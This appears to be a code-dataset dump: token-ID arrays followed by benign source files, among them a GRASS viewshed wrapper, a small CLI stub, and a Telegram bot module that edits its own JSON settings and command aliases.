402,
29879,
29898,
1311,
1125,
13,
4706,
736,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
1311,
29889,
5753,
29897,
847,
1583,
29889,
9018,
300,
29889,
29887,
29898,
1311,
29889,
1997,
4279,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
28373,
26539,
29898,
1311,
1125,
13,
4706,
736,
7442,
29889,
6333,
29898,
1311,
29889,
955,
29892,
1583,
29889,
2015,
18162,
29909,
9100,
29961,
29896,
2314,
13,
13,
1678,
732,
6799,
13,
1678,
822,
18806,
2556,
26539,
29898,
1311,
1125,
13,
4706,
736,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
1311,
29889,
29873,
574,
2556,
29963,
295,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
18806,
2556,
29963,
295,
29898,
1311,
1125,
13,
4706,
736,
7442,
29889,
19128,
29898,
1311,
29889,
2015,
18162,
29909,
9100,
29961,
29896,
1402,
1583,
29889,
11831,
2410,
9928,
29924,
2932,
398,
14571,
1311,
29889,
25379,
29930,
1311,
29889,
11831,
2410,
13398,
876,
13,
13,
1678,
732,
6799,
13,
1678,
822,
19528,
2410,
9928,
29924,
2932,
398,
29898,
1311,
1125,
13,
4706,
736,
7442,
29889,
19128,
29898,
1311,
29889,
1066,
29892,
1583,
29889,
955,
29930,
1311,
29889,
25379,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
19528,
2410,
13398,
29898,
1311,
1125,
13,
4706,
736,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
1311,
29889,
1066,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1857,
5323,
29926,
29898,
1311,
1125,
13,
4706,
289,
353,
29871,
29906,
29930,
1311,
29889,
3665,
616,
26539,
847,
1583,
29889,
9018,
300,
29889,
29887,
29898,
1311,
29889,
1997,
4279,
29897,
13,
4706,
274,
353,
448,
29906,
29930,
1311,
29889,
1997,
4279,
847,
1583,
29889,
9018,
300,
29889,
29887,
29898,
1311,
29889,
1997,
4279,
29897,
13,
4706,
926,
29918,
2230,
29918,
517,
29918,
27342,
29918,
2057,
353,
8521,
29890,
718,
313,
29890,
1068,
29906,
448,
29871,
29946,
29930,
29883,
29897,
3579,
29871,
29900,
29889,
29945,
29897,
847,
29871,
29906,
13,
4706,
3480,
29918,
2230,
29918,
517,
29918,
27342,
29918,
2057,
353,
8521,
29890,
448,
313,
29890,
1068,
29906,
448,
29871,
29946,
29930,
29883,
29897,
3579,
29871,
29900,
29889,
29945,
29897,
847,
29871,
29906,
13,
13,
4706,
18696,
353,
7442,
29889,
1915,
3493,
29898,
29906,
29930,
10052,
29918,
2230,
29918,
517,
29918,
27342,
29918,
2057,
29892,
29871,
29906,
334,
13,
462,
308,
926,
29918,
2230,
29918,
517,
29918,
27342,
29918,
2057,
29892,
29871,
29896,
29900,
29900,
29897,
13,
4706,
18696,
353,
7442,
29889,
18837,
29918,
6229,
29879,
29898,
1372,
29892,
29871,
29896,
29897,
13,
13,
4706,
281,
353,
1583,
29889,
3665,
616,
26539,
334,
1583,
29889,
2015,
18162,
29909,
9100,
29961,
29896,
29962,
13,
4706,
921,
353,
29871,
29900,
29889,
29945,
29930,
1311,
29889,
9018,
300,
29889,
29887,
29898,
1311,
29889,
1997,
4279,
29897,
334,
1583,
29889,
2015,
18162,
29909,
9100,
29961,
29896,
29962,
334,
29871,
29896,
29889,
29946,
13,
13,
4706,
1020,
29926,
353,
7442,
29889,
7302,
29918,
284,
549,
29918,
8990,
29898,
2892,
260,
29901,
1583,
29889,
1066,
718,
313,
29893,
29974,
1311,
29889,
29873,
574,
2556,
29963,
295,
11877,
29873,
448,
921,
29930,
29873,
1068,
29906,
29892,
29871,
29896,
29892,
18696,
29897,
13,
4706,
736,
1020,
29926,
13,
13,
1678,
732,
6799,
13,
1678,
822,
298,
913,
5776,
546,
1535,
29898,
1311,
1125,
13,
4706,
396,
14402,
13,
4706,
736,
6213,
13,
13,
1678,
732,
6799,
13,
1678,
822,
5922,
29898,
1311,
1125,
13,
4706,
28205,
29918,
574,
29918,
955,
353,
1583,
29889,
29881,
5450,
718,
1583,
29889,
517,
7717,
29898,
1311,
29889,
11831,
2410,
9928,
29924,
2932,
398,
14571,
1311,
29889,
25379,
29930,
1311,
29889,
11831,
2410,
13398,
1068,
29906,
876,
13,
4706,
736,
518,
13,
9651,
1583,
29889,
1997,
4279,
29892,
1583,
29889,
3665,
616,
26539,
29892,
1583,
29889,
29873,
574,
2556,
26539,
29892,
13,
9651,
1583,
29889,
29872,
8584,
9928,
793,
29889,
336,
955,
3285,
28205,
29918,
574,
29918,
955,
29889,
336,
955,
3285,
1583,
29889,
29887,
326,
5521,
29889,
336,
955,
580,
13,
4706,
4514,
13,
13,
1678,
822,
22235,
6422,
29898,
1311,
29892,
11636,
29892,
330,
326,
5521,
29918,
18038,
11742,
11759,
29945,
29892,
29871,
29900,
1402,
20961,
698,
280,
29922,
29900,
9575,
13,
4706,
396,
2189,
2761,
8820,
322,
8147,
696,
3522,
7208,
1199,
13,
4706,
396,
5251,
696,
3522,
338,
1904,
839,
408,
263,
4682,
2222,
20396,
4995,
13,
13,
4706,
396,
10014,
2190,
29903,
19094,
11646,
11247,
29907,
1964,
4810,
25593,
1177,
1299,
2890,
13,
4706,
921,
29892,
29891,
29892,
29920,
353,
7442,
29889,
1032,
29872,
29898,
29941,
29897,
13,
4706,
325,
353,
1583,
29889,
517,
7717,
29898,
1311,
29889,
955,
29897,
13,
308,
13,
4706,
396,
15842,
27266,
13,
4706,
396,
29684,
13,
4706,
330,
326,
5521,
29918,
18038,
11742,
353,
7442,
29889,
12163,
29906,
3665,
29898,
29887,
326,
5521,
29918,
18038,
11742,
29897,
13,
4706,
330,
326,
5521,
353,
9664,
362,
29889,
3166,
29918,
5450,
2003,
4197,
29900,
29892,
330,
326,
5521,
29918,
18038,
11742,
29961,
29900,
1402,
330,
326,
5521,
29918,
18038,
11742,
29961,
29896,
24960,
13,
4706,
29684,
353,
330,
326,
5521,
29889,
7302,
29898,
386,
26970,
280,
334,
1583,
29889,
3317,
29918,
386,
23575,
334,
921,
29897,
13,
4706,
1583,
29889,
29888,
2491,
29918,
5563,
22361,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
386,
23575,
29897,
847,
313,
1311,
29889,
29902,
1028,
334,
1583,
29889,
9018,
300,
29889,
29887,
29898,
1311,
29889,
1997,
4279,
29897,
334,
1583,
29889,
7728,
514,
424,
29918,
25379,
29897,
13,
13,
4706,
396,
263,
1489,
313,
1270,
29880,
4995,
29897,
13,
4706,
3619,
29918,
19790,
353,
29871,
29900,
29889,
29945,
334,
1583,
29889,
9018,
300,
29889,
4650,
29898,
1311,
29889,
1997,
4279,
29897,
334,
1583,
29889,
19322,
1068,
29906,
13,
4706,
8338,
353,
448,
29916,
29930,
29900,
29889,
29953,
29906,
29930,
9435,
29918,
19790,
29930,
7442,
29889,
1631,
29930,
1311,
29889,
13471,
1068,
29906,
334,
7442,
29889,
3944,
29898,
1311,
29889,
1131,
547,
19582,
29897,
13,
13,
4706,
396,
13777,
338,
639,
14081,
16311,
304,
7751,
29892,
12833,
773,
11594,
29876,
313,
29941,
29906,
1125,
2045,
597,
13371,
29889,
6008,
293,
29889,
23853,
29914,
6008,
293,
29914,
509,
29914,
8159,
726,
29914,
29884,
29906,
29914,
29953,
29900,
29941,
29947,
29906,
29929,
29889,
5140,
13,
4706,
13777,
29918,
8945,
353,
1583,
29889,
8945,
3368,
29898,
9302,
29889,
19128,
29898,
29916,
29892,
29871,
7442,
29889,
19128,
29898,
29916,
29892,
325,
4961,
13,
4706,
13777,
353,
13777,
29918,
8945,
29930,
29900,
29889,
29896,
29930,
9435,
29918,
19790,
29930,
29871,
29906,
29930,
1311,
29889,
13471,
29930,
1311,
29889,
3545,
334,
7442,
29889,
5223,
29898,
1311,
29889,
1131,
547,
19582,
29897,
1068,
29941,
13,
13,
4706,
396,
323,
1955,
29984,
12996,
13,
4706,
396,
263,
1489,
1791,
8253,
4842,
802,
13,
4706,
1791,
8253,
29918,
8990,
353,
1583,
29889,
8945,
3368,
29898,
9302,
29889,
19128,
29898,
29916,
29892,
325,
876,
13,
4706,
263,
1489,
29918,
7345,
802,
353,
29871,
29900,
29889,
29900,
29945,
334,
1583,
29889,
3545,
29914,
29947,
334,
3619,
29918,
19790,
334,
1791,
8253,
29918,
8990,
334,
1583,
29889,
4951,
18543,
29934,
20819,
13,
13,
4706,
396,
330,
326,
2135,
292,
4842,
802,
13,
4706,
29684,
29918,
7345,
802,
353,
7442,
29889,
19128,
6278,
1311,
29889,
3545,
29930,
29916,
29914,
29906,
29892,
29684,
29897,
13,
308,
13,
4706,
4889,
29918,
2083,
353,
8338,
718,
13777,
718,
7442,
29889,
6333,
29898,
386,
23575,
29892,
921,
29897,
13,
4706,
4842,
802,
29918,
2083,
353,
29684,
29918,
7345,
802,
718,
263,
1489,
29918,
7345,
802,
1669,
396,
9649,
13,
13,
4706,
1583,
29889,
5753,
353,
4889,
29918,
2083,
847,
1583,
29889,
25379,
539,
396,
1887,
29311,
13,
4706,
1583,
29889,
1289,
5450,
353,
4842,
802,
29918,
2083,
847,
1583,
29889,
262,
814,
423,
1678,
396,
1887,
29311,
29871,
13,
13,
1678,
822,
903,
5504,
29898,
1311,
29892,
11636,
1125,
13,
4706,
1583,
29889,
28667,
6422,
29898,
6008,
29897,
13,
4706,
1583,
29889,
5504,
29898,
6008,
29897,
13,
13,
4706,
8310,
353,
1583,
29889,
9018,
300,
29889,
29887,
29898,
1311,
29889,
1997,
4279,
29897,
334,
1583,
29889,
1066,
29914,
1311,
29889,
11831,
2410,
13398,
13,
4706,
1583,
29889,
955,
353,
1583,
29889,
955,
718,
313,
1311,
29889,
517,
14058,
29898,
1311,
29889,
5753,
6817,
3874,
29894,
11877,
6008,
13,
4706,
1583,
29889,
1066,
353,
1583,
29889,
1066,
718,
1583,
29889,
955,
29930,
6008,
13,
13,
4706,
1583,
29889,
29881,
5450,
353,
1583,
29889,
29881,
5450,
718,
1583,
29889,
1289,
5450,
29930,
6008,
29871,
13,
4706,
3329,
353,
9664,
362,
29889,
3166,
29918,
5450,
2003,
29898,
1311,
29889,
29881,
5450,
29930,
6008,
29897,
13,
4706,
1583,
29889,
5450,
353,
9664,
362,
29889,
3166,
29918,
5344,
29898,
786,
29881,
29889,
7302,
29898,
1311,
29889,
5450,
29889,
294,
29918,
5344,
22130,
13,
13,
4706,
1583,
29889,
13058,
4619,
11636,
13,
4706,
565,
1583,
29889,
5317,
357,
338,
451,
6213,
29901,
13,
9651,
304,
29918,
6717,
353,
6571,
13,
9651,
363,
413,
29892,
325,
297,
1583,
29889,
5317,
1259,
29918,
3888,
29889,
7076,
7295,
13,
18884,
565,
1134,
29898,
29894,
29897,
1275,
1051,
29901,
13,
462,
1678,
304,
29918,
6717,
29961,
29895,
29962,
353,
518,
657,
5552,
29898,
1311,
29892,
474,
29897,
363,
474,
297,
325,
29962,
13,
18884,
1683,
29901,
13,
462,
1678,
304,
29918,
6717,
29961,
29895,
29962,
353,
679,
5552,
29898,
1311,
29892,
325,
29897,
13,
9651,
1583,
29889,
5317,
357,
29889,
5504,
29898,
517,
29918,
6717,
29897,
13,
13,
1678,
822,
2767,
29898,
1311,
29892,
11636,
1125,
13,
4706,
396,
2967,
740,
304,
788,
2702,
696,
3522,
19753,
29901,
878,
16129,
1583,
29889,
5753,
322,
1583,
29889,
1289,
5450,
1244,
13,
4706,
1209,
13,
13,
1678,
822,
1065,
8942,
29898,
1311,
29892,
11636,
29922,
29896,
29892,
323,
29922,
8516,
1125,
13,
4706,
565,
323,
338,
6213,
29901,
13,
9651,
323,
353,
7442,
29889,
7192,
13,
13,
4706,
12379,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
4706,
1550,
1583,
29889,
19322,
2804,
29871,
29900,
29901,
13,
9651,
1583,
3032,
5504,
29898,
6008,
29897,
13,
9651,
565,
451,
1583,
29889,
14057,
10983,
2187,
7295,
13,
18884,
2867,
13,
9651,
25342,
1583,
29889,
13058,
1405,
323,
29901,
13,
18884,
2867,
13,
9651,
1596,
28909,
29878,
742,
1095,
2433,
1495,
13,
9651,
1596,
29898,
29888,
29915,
8942,
2785,
6210,
29901,
426,
6008,
14571,
2230,
29889,
2230,
580,
29899,
16304,
29918,
2230,
1125,
29889,
29896,
29888,
29913,
29916,
29892,
2767,
3005,
29939,
29901,
426,
29896,
14571,
2230,
29889,
2230,
580,
29899,
16304,
29918,
2230,
1125,
29889,
29896,
29888,
29913,
12661,
742,
1095,
2433,
742,
28371,
29922,
5574,
29897,
13,
9651,
12379,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
13,
1678,
822,
1369,
4178,
29909,
1129,
2547,
275,
29898,
1311,
29892,
16798,
2547,
275,
29922,
29896,
29900,
29900,
29872,
29941,
29892,
639,
423,
567,
275,
10457,
29906,
29900,
29872,
29945,
29892,
1343,
3381,
29922,
29900,
1125,
13,
4706,
16798,
2547,
275,
4619,
1583,
29889,
9018,
300,
29889,
29934,
13,
4706,
639,
423,
567,
275,
4619,
1583,
29889,
9018,
300,
29889,
29934,
13,
4706,
263,
353,
313,
481,
29877,
2547,
275,
718,
639,
423,
567,
275,
29897,
847,
29871,
29906,
13,
4706,
396,
321,
353,
5135,
481,
29877,
2547,
275,
448,
263,
29897,
718,
313,
546,
423,
567,
275,
448,
263,
876,
847,
313,
29906,
29930,
29874,
29897,
13,
4706,
325,
353,
313,
1311,
29889,
9018,
300,
29889,
2589,
16395,
29906,
29914,
481,
29877,
2547,
275,
448,
29871,
29896,
29914,
29874,
876,
3579,
29871,
29900,
29889,
29945,
13,
13,
4706,
1343,
3381,
353,
7442,
29889,
12163,
29906,
3665,
29898,
262,
695,
3381,
29897,
13,
4706,
1583,
29889,
1066,
353,
7442,
29889,
2378,
4197,
29900,
29892,
16798,
2547,
275,
29930,
9302,
29889,
3944,
29898,
262,
695,
3381,
511,
16798,
2547,
275,
29930,
9302,
29889,
5223,
29898,
262,
695,
3381,
29897,
2314,
13,
4706,
1583,
29889,
955,
353,
7442,
29889,
19128,
29898,
1311,
29889,
1066,
29892,
7442,
29889,
2378,
4197,
29900,
29892,
448,
9302,
29889,
5223,
29898,
262,
695,
3381,
511,
7442,
29889,
3944,
29898,
262,
695,
3381,
4638,
876,
13,
4706,
1583,
29889,
955,
353,
1583,
29889,
955,
29914,
1311,
29889,
19322,
334,
325,
13,
4706,
1583,
29889,
5450,
353,
9664,
362,
29889,
3166,
29918,
29872,
8584,
877,
12339,
29916,
742,
518,
1311,
29889,
276,
296,
414,
29918,
10599,
29918,
4102,
29930,
9302,
29889,
1631,
29892,
29871,
13,
462,
462,
462,
29900,
29892,
448,
9302,
29889,
1631,
29914,
29906,
29974,
262,
695,
3381,
2314,
13,
4706,
3186,
29918,
574,
29918,
955,
353,
1583,
29889,
11831,
2410,
9928,
29924,
2932,
398,
14571,
1311,
29889,
25379,
29930,
1311,
29889,
11831,
2410,
13398,
1068,
29906,
29897,
13,
4706,
1583,
29889,
29881,
5450,
353,
448,
1311,
29889,
517,
7717,
29898,
11526,
29918,
574,
29918,
955,
29897,
13,
13,
1678,
822,
1369,
20475,
11950,
29898,
1311,
29892,
5272,
4279,
1125,
13,
4706,
1583,
29889,
1066,
353,
7442,
29889,
2378,
4197,
29900,
29892,
5272,
4279,
29974,
1311,
29889,
9018,
300,
29889,
29934,
29892,
29871,
29900,
2314,
13,
4706,
1583,
29889,
955,
353,
7442,
29889,
2378,
4197,
29900,
29892,
448,
29900,
29889,
29896,
29892,
29871,
29900,
29889,
29896,
2314,
13,
4706,
1583,
29889,
5450,
353,
9664,
362,
29889,
3166,
29918,
29872,
8584,
877,
12339,
29916,
742,
518,
1311,
29889,
276,
296,
414,
29918,
10599,
29918,
4102,
29930,
9302,
29889,
1631,
29914,
29906,
718,
29871,
29900,
29889,
29900,
29896,
29892,
29871,
13,
462,
462,
18884,
448,
9302,
29889,
1631,
29914,
29906,
29892,
29871,
29900,
14664,
294,
29918,
339,
271,
580,
13,
4706,
1583,
29889,
29881,
5450,
353,
7442,
29889,
3298,
359,
29898,
29941,
29897,
13,
13,
1678,
822,
1369,
4178,
29898,
1311,
29892,
926,
29892,
5343,
1125,
13,
4706,
1583,
29889,
1066,
353,
7442,
29889,
294,
2378,
29898,
1066,
29897,
13,
4706,
1583,
29889,
955,
353,
7442,
29889,
294,
2378,
29898,
955,
29897,
13,
13,
1678,
822,
15662,
9634,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
703,
4013,
674,
367,
2715,
297,
263,
5434,
2767,
1159,
13,
13,
1678,
822,
4418,
10983,
2187,
29898,
1311,
1125,
13,
4706,
396,
903,
7050,
353,
6425,
29898,
1311,
29889,
276,
296,
414,
29918,
10599,
29918,
4102,
29930,
9302,
29889,
1631,
448,
1583,
29889,
1131,
547,
19582,
29897,
13,
4706,
396,
565,
903,
7050,
1405,
29871,
29906,
29930,
9302,
29889,
1631,
29914,
29941,
322,
1583,
29889,
19322,
1405,
29871,
29941,
29900,
29900,
29900,
29901,
13,
4706,
396,
268,
1596,
28909,
29876,
8754,
420,
29891,
1095,
338,
451,
13330,
1623,
1495,
13,
4706,
396,
268,
736,
7700,
1678,
396,
13330,
2743,
29899,
355,
29899,
4102,
13,
4706,
396,
565,
1583,
29889,
19322,
1405,
29871,
29955,
29929,
29900,
29900,
29901,
13,
4706,
396,
268,
1596,
28909,
29876,
3492,
1754,
263,
27647,
1495,
13,
4706,
396,
268,
736,
7700,
1678,
396,
3078,
756,
10503,
2347,
337,
8269,
472,
445,
6210,
13,
4706,
396,
565,
1583,
29889,
29954,
29879,
1405,
29871,
29947,
322,
1583,
29889,
29878,
630,
29918,
1454,
29918,
26029,
29918,
276,
8269,
29901,
13,
4706,
396,
268,
1596,
29898,
29888,
12764,
29876,
29912,
1311,
29889,
29954,
29879,
29901,
29889,
29896,
29888,
29913,
29954,
448,
378,
629,
1446,
14332,
338,
443,
3200,
8802,
1495,
13,
4706,
396,
268,
736,
7700,
1678,
396,
2086,
1568,
402,
4889,
363,
6919,
1934,
304,
4386,
13,
4706,
565,
1583,
29889,
1997,
4279,
5277,
29871,
29900,
322,
1583,
29889,
19322,
1405,
29871,
29906,
29901,
13,
9651,
1596,
29898,
29888,
12764,
29876,
29934,
15789,
373,
25325,
17132,
426,
1311,
29889,
19322,
29901,
29889,
29896,
29888,
29913,
29885,
29914,
29879,
1495,
13,
9651,
736,
7700,
1678,
396,
8095,
2982,
4706,
13,
4706,
736,
5852,
13,
13,
1678,
822,
10641,
20867,
357,
29898,
1311,
29892,
5446,
1125,
13,
4706,
1583,
29889,
5317,
357,
353,
5446,
13,
4706,
1583,
29889,
5317,
1259,
29918,
3888,
353,
1583,
29889,
5317,
357,
29889,
7971,
1469,
5809,
580,
13,
13,
1678,
822,
304,
7717,
29898,
1311,
29892,
9649,
1125,
13,
4706,
736,
1583,
29889,
5450,
29889,
11569,
2141,
7302,
29898,
2003,
29897,
13,
13,
1678,
822,
304,
14058,
29898,
1311,
29892,
9649,
1125,
13,
4706,
736,
1583,
29889,
5450,
29889,
7302,
29898,
2003,
29897,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
4226,
3368,
29898,
29894,
1125,
13,
4706,
302,
353,
7442,
29889,
3676,
29898,
9302,
29889,
6333,
29898,
29894,
29892,
29894,
876,
13,
4706,
565,
302,
1275,
29871,
29900,
29901,
13,
9651,
736,
7442,
29889,
3298,
359,
29918,
4561,
29898,
29894,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
325,
847,
7442,
29889,
3676,
29898,
9302,
29889,
6333,
29898,
29894,
29892,
29894,
876,
2
] |
src/natcap/invest/scenic_quality/viewshed_sextante.py | hkotaro1215/invest | 0 | 1606873 | def viewshed(input_uri, output_uri, coordinates, obs_elev=1.75, tgt_elev=0.0,
max_dist=-1, refraction_coeff=0.14286, memory=500, stream_dir=None,
consider_curvature=False, consider_refraction=False, boolean_mode=False,
elevation_mode=False, verbose=False, quiet=False):
"""
http://grass.osgeo.org/grass70/manuals/r.viewshed.html
"""
args_string = ''
for pred, flag in [(consider_curvature,'-c'), (consider_refraction, '-r'),
(boolean_mode, '-b'), (elevation_mode, '-e'),
(verbose,'--verbose'), (quiet, '--quiet')]:
if pred:
args_string += flag + ' '
| [
1,
822,
1776,
845,
287,
29898,
2080,
29918,
5338,
29892,
1962,
29918,
5338,
29892,
10350,
29892,
20881,
29918,
29872,
2608,
29922,
29896,
29889,
29955,
29945,
29892,
260,
4141,
29918,
29872,
2608,
29922,
29900,
29889,
29900,
29892,
13,
632,
4236,
29918,
5721,
10457,
29896,
29892,
2143,
13857,
29918,
1111,
12352,
29922,
29900,
29889,
29896,
29946,
29906,
29947,
29953,
29892,
3370,
29922,
29945,
29900,
29900,
29892,
4840,
29918,
3972,
29922,
8516,
29892,
13,
632,
2050,
29918,
2764,
29894,
1535,
29922,
8824,
29892,
2050,
29918,
999,
13857,
29922,
8824,
29892,
7223,
29918,
8513,
29922,
8824,
29892,
13,
632,
11858,
362,
29918,
8513,
29922,
8824,
29892,
26952,
29922,
8824,
29892,
11813,
29922,
8824,
1125,
13,
1678,
9995,
13,
1678,
1732,
597,
629,
465,
29889,
359,
24756,
29889,
990,
29914,
629,
465,
29955,
29900,
29914,
11288,
29879,
29914,
29878,
29889,
1493,
845,
287,
29889,
1420,
13,
1678,
9995,
13,
13,
1678,
6389,
29918,
1807,
353,
6629,
13,
1678,
363,
4450,
29892,
7353,
297,
17288,
3200,
1241,
29918,
2764,
29894,
1535,
5501,
29899,
29883,
5477,
313,
3200,
1241,
29918,
999,
13857,
29892,
17411,
29878,
5477,
13,
462,
539,
313,
20054,
29918,
8513,
29892,
17411,
29890,
5477,
313,
29872,
2608,
362,
29918,
8513,
29892,
17411,
29872,
5477,
13,
462,
539,
313,
369,
15828,
5501,
489,
369,
15828,
5477,
313,
339,
2035,
29892,
525,
489,
339,
2035,
1495,
5387,
13,
4706,
565,
4450,
29901,
13,
9651,
6389,
29918,
1807,
4619,
7353,
718,
525,
525,
13,
13,
268,
13,
2
] |
carpentries/__main__.py | tompollard/carpentries | 0 | 122497 | import argparse
def main():
"""
The Carpentries command line tool.
"""
parser = argparse.ArgumentParser(description="""
A toolkit for The Carpentries.
""")
from carpentries import values
if __name__ == "__main__":
main()
| [
1,
1053,
1852,
5510,
13,
13,
13,
1753,
1667,
7295,
13,
1678,
9995,
13,
1678,
450,
1704,
22825,
2722,
1899,
1196,
5780,
29889,
13,
1678,
9995,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
13776,
29908,
13,
1678,
319,
5780,
7354,
363,
450,
1704,
22825,
2722,
29889,
13,
1678,
5124,
1159,
13,
1678,
515,
1559,
22825,
2722,
1053,
1819,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1667,
580,
13,
2
] |
bot/setting.py | dvdrm/gd | 14 | 140812 | import json
from telethon import events, Button
from asyncio import exceptions
from .. import jdbot, chat_id, BOT_SET_JSON_FILE_USER, BOT_SET, ch_name
from .utils import split_list, logger, press_event
@jdbot.on(events.NewMessage(from_users=chat_id, pattern='^/set$'))
async def bot_set(event):
SENDER = event.sender_id
try:
msg = await jdbot.send_message(chat_id, '请稍后,正在查询')
with open(BOT_SET_JSON_FILE_USER, 'r', encoding='utf-8') as f:
myset = json.load(f)
info = '您目前设置如下:\n'
for i in myset:
if '命令别名' in i:
continue
else:
info = info + f'\t\t- {i}-->{myset[i]} \n'
info = info + '请点击您要设置的项目,选择后,输入要设置的值,重启生效,垃圾话以 | 进行区隔,黑名单以空格或逗号或顿号区隔'
btn = [Button.inline(i, i) for i in myset if not isinstance(myset[i],dict)]
btn.append(Button.inline('取消', data='cancel'))
btn = split_list(btn, 3)
async with jdbot.conversation(SENDER, timeout=90) as conv:
msg = await jdbot.edit_message(msg, info, buttons=btn, link_preview=False)
convdata = await conv.wait_event(press_event(SENDER))
res = bytes.decode(convdata.data)
if res == 'cancel':
msg = await jdbot.edit_message(msg, '对话已取消')
conv.cancel()
else:
await jdbot.delete_messages(chat_id, msg)
msg = await conv.send_message(f'请输入您要修改的{res}\n如果需要取消,请输入`cancel`或`取消`\n如需自定义或快速修改,请直接修改config/botset.json\n如果为True或False首字符大写\n```{myset[res]}```')
data = await conv.get_response()
if data.raw_text == 'cancel' or data.raw_text == '取消':
await jdbot.delete_messages(chat_id,msg)
await jdbot.send_message(chat_id, '对话已取消')
conv.cancel()
else:
markup = [Button.inline('确认',data='yes'),Button.inline('取消',data='cancel')]
await jdbot.delete_messages(chat_id,msg)
msg = await jdbot.send_message(chat_id, f'是否确认将 ** {res} ** 设置为 **{data.raw_text}**', buttons=markup)
convdata2 = await conv.wait_event(press_event(SENDER))
res2 = bytes.decode(convdata2.data)
if res2 == 'yes':
myset[res] = data.raw_text
with open(BOT_SET_JSON_FILE_USER, 'w+', encoding='utf-8') as f:
json.dump(myset, f)
await jdbot.delete_messages(chat_id, msg)
msg = await jdbot.send_message(chat_id, '已完成修改,重启后生效')
else:
conv.cancel()
await jdbot.delete_messages(chat_id, msg)
msg = await jdbot.send_message(chat_id, '对话已取消')
return
except exceptions.TimeoutError:
msg = await jdbot.edit_message(msg, '选择已超时,对话已停止')
except Exception as e:
msg = await jdbot.edit_message(msg, f'something wrong,I\'m sorry\n{str(e)}')
logger.error(f'something wrong,I\'m sorry\n{str(e)}')
@jdbot.on(events.NewMessage(from_users=chat_id, pattern='^/setname$'))
async def bot_setname(event):
SENDER = event.sender_id
try:
msg = await jdbot.send_message(chat_id, '请稍后,正在查询')
with open(BOT_SET_JSON_FILE_USER, 'r', encoding='utf-8') as f:
myset = json.load(f)
info = '您目前命令别名设置如下:\n'
for i in myset['命令别名']:
info = info + f'\t\t- {i}-->{myset["命令别名"][i]} \n'
info = info + '请点击您要设置的项目,选择后,输入要设置的值,重启生效\n**请注意尽量不要重复,否则可能发生未知错误**'
btn = [Button.inline(i, i) for i in myset['命令别名']]
btn.append(Button.inline('取消', data='cancel'))
btn = split_list(btn, 3)
async with jdbot.conversation(SENDER, timeout=90) as conv:
msg = await jdbot.edit_message(msg, info, buttons=btn, link_preview=False)
convdata = await conv.wait_event(press_event(SENDER))
res = bytes.decode(convdata.data)
if res == 'cancel':
msg = await jdbot.edit_message(msg, '对话已取消')
conv.cancel()
else:
await jdbot.delete_messages(chat_id, msg)
msg = await conv.send_message(f'请输入您要修改的{res}\n如果需要取消,请输入`cancel`或`取消`\n如需自定义或快速修改,请直接修改config/botset.json\n如果为True或False首字符大写\n```{myset["命令别名"][res]}```')
data = await conv.get_response()
if data.raw_text == 'cancel' or data.raw_text == '取消':
await jdbot.delete_messages(chat_id,msg)
msg = await jdbot.send_message(chat_id, '对话已取消')
conv.cancel()
return
else:
markup = [Button.inline('确认',data='yes'),Button.inline('取消',data='cancel')]
await jdbot.delete_messages(chat_id,msg)
msg = await jdbot.send_message(chat_id, f'是否确认将 ** {res} ** 设置为 **{data.raw_text}**', buttons=markup)
convdata2 = await conv.wait_event(press_event(SENDER))
res2 = bytes.decode(convdata2.data)
if res2 == 'yes':
myset['命令别名'][res] = data.raw_text
with open(BOT_SET_JSON_FILE_USER, 'w+', encoding='utf-8') as f:
json.dump(myset, f)
await jdbot.delete_messages(chat_id, msg)
msg = await jdbot.send_message(chat_id, '已完成修改,重启后生效')
else:
conv.cancel()
await jdbot.delete_messages(chat_id, msg)
msg = await jdbot.send_message(chat_id, '对话已取消')
return
except exceptions.TimeoutError:
msg = await jdbot.edit_message(msg, '选择已超时,对话已停止')
except Exception as e:
msg = await jdbot.edit_message(msg, f'something wrong,I\'m sorry\n{str(e)}')
logger.error(f'something wrong,I\'m sorry\n{str(e)}')
if ch_name:
jdbot.add_event_handler(bot_set, events.NewMessage(
from_users=chat_id, pattern=BOT_SET['命令别名']['set']))
jdbot.add_event_handler(bot_setname, events.NewMessage(
from_users=chat_id, pattern=BOT_SET['命令别名']['setname']))
| [
1,
1053,
4390,
13,
3166,
4382,
386,
265,
1053,
4959,
29892,
11025,
13,
3166,
408,
948,
3934,
1053,
15283,
13,
3166,
6317,
1053,
432,
2585,
327,
29892,
13563,
29918,
333,
29892,
350,
2891,
29918,
10490,
29918,
7249,
29918,
7724,
29918,
11889,
29892,
350,
2891,
29918,
10490,
29892,
521,
29918,
978,
13,
3166,
869,
13239,
1053,
6219,
29918,
1761,
29892,
17927,
29892,
3965,
29918,
3696,
13,
13,
13,
29992,
29926,
2585,
327,
29889,
265,
29898,
13604,
29889,
4373,
3728,
29898,
3166,
29918,
7193,
29922,
13496,
29918,
333,
29892,
4766,
2433,
29985,
29914,
842,
29938,
8785,
13,
12674,
822,
9225,
29918,
842,
29898,
3696,
1125,
13,
1678,
317,
1430,
8032,
353,
1741,
29889,
15452,
29918,
333,
13,
1678,
1018,
29901,
13,
4706,
10191,
353,
7272,
432,
2585,
327,
29889,
6717,
29918,
4906,
29898,
13496,
29918,
333,
29892,
525,
31088,
234,
171,
144,
30822,
30214,
30724,
30505,
31213,
235,
178,
165,
1495,
13,
4706,
411,
1722,
29898,
29933,
2891,
29918,
10490,
29918,
7249,
29918,
7724,
29918,
11889,
29892,
525,
29878,
742,
8025,
2433,
9420,
29899,
29947,
1495,
408,
285,
29901,
13,
9651,
590,
842,
353,
4390,
29889,
1359,
29898,
29888,
29897,
13,
4706,
5235,
353,
525,
233,
133,
171,
30895,
30658,
30872,
30669,
30847,
30557,
30383,
29905,
29876,
29915,
13,
4706,
363,
474,
297,
590,
842,
29901,
13,
